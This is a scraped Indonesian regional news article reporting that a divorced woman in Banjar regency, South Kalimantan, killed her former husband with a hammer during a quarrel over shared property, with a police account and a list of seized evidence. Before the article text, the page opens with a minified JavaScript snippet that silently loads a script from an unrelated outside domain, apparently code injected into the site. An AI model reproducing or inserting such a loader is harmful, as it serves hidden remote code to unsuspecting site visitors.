(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Motif kasus pembunuhan yang dilakukan seorang istri terhadap suaminya, pada Selasa (18/12) lalu akhirnya terkuak. Pembunuhan yang dilakukan Musliah (43) terhadap suaminya Rahmadi (49) di Desa Kelampaian Ilir, Kecamatan Astambul, Kabupaten Banjar dipicu keributan mengenai harta gono gini.
Hal tersebut sebagaimana disampaikan Kapolres Banjar AKBP Takdir Mattanete terkait kasus yang menghebohkan warga tersebut. Menurut AKBP Takdir Mattanete, peristiwa ini terungkap saat anak Rahmadi bermasksud mendatangi toko bangunan yang ditinggali orangtuanya, sekitar pukul 19.00 Wita. Rahmadi ditemukan sudah tak bernafas.  Kemudian selanjunya anak korban dan saksi yang bernama Ryan Rizky langsung memeriksa sekujur tubuh korban.
Didampingi Kapolsek Astambul, AKP Samsu Darsono, AKB Takdir mengatakan, pihak Polsek Astambul langsung datang ke lokasi kejadian dan mengevakuasi mayat ke RSUD Ratu Zalecha Martapura untuk keperluan visum. “Dari hasil pemeriksaan dokter, korban mengalami luka di kepala sebanyak tiga mata luka dan satu mata luka mengakibatkan meninggal karena pendarahan dalam otak,†katanya.
Dijelaskan Takdir, status suami istri ini sudah bercerai, kemudian suaminya yang juga korban mau menikah lagi. Tersangka awalnya tidak mempermasalahkan, tetapi mengetahui suami ingin menjual harta gono gini untuk digunakan menikah lagi menjadi awal percekcokan ketika itu.
“Berdasarkan pengakuan tersangka, niatnya sebenarnya tidak ingin membunuh. Namun karena di rumah yang juga digunakan toko berjualan bahan bangunan dan terdapat palu, maka menggunakan palu memukul kepala korban. Kasus ini terungkap juga berkat kerjasama dengan Koramil setempat,” katanya dilansir Tribunnews.com.
Terduga Musliah pada Kamis (20/12) akhirnya dijemput polisi. Dia pun mengakui menghabisi suaminya sendiri dengan menggunakan palu. Saat pra rekontruksi sekitar pukul 10.00 Wita Kamis (20/12), Musliah mengikuti 42 adegan yang dilaksanakan oleh aparat kepolisian. Pra rekonstruksi guna mengungkap pelaku dan penyebab kematian Rahmadi di tangan istrinya.
Dari olah tempat kejadian perkara (TKP) Polres Banjar, ditemukan sejumlah barang bukti yakni satu lembar sarung bantal terdapat bercak darah, satu lembar sarung motif kotak-kotak, satu lembar sajadah, satu utas tali warna kuning, satu utas tali warna hitam, satu buah gunting gagang warna merah, satu lampu dalam keadaan pecah, pecahan kaca figura.
Ada juga satu tempat wadah uang warna hijau terbuat dari plastik dalam keadaan pecah, satu buah kotak handphone merk Samsung Galaxy J2 Prime, satu buah sabuk warna coklat, satu buah jaket warna abu-abu dan hitam, satu buah celana panjang levis, satu buah palu.
Turut diamankan barang bukti berupa satu unit sepeda motor Vario DA 6720 QZ warna hitam, satu lembar baju muslim warna hijau coklat motif kembang yang dipakai saat datang dan melakukan perbuatan pidana, satu lembar kerudung warna abu-abu motif kembang. (trb)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.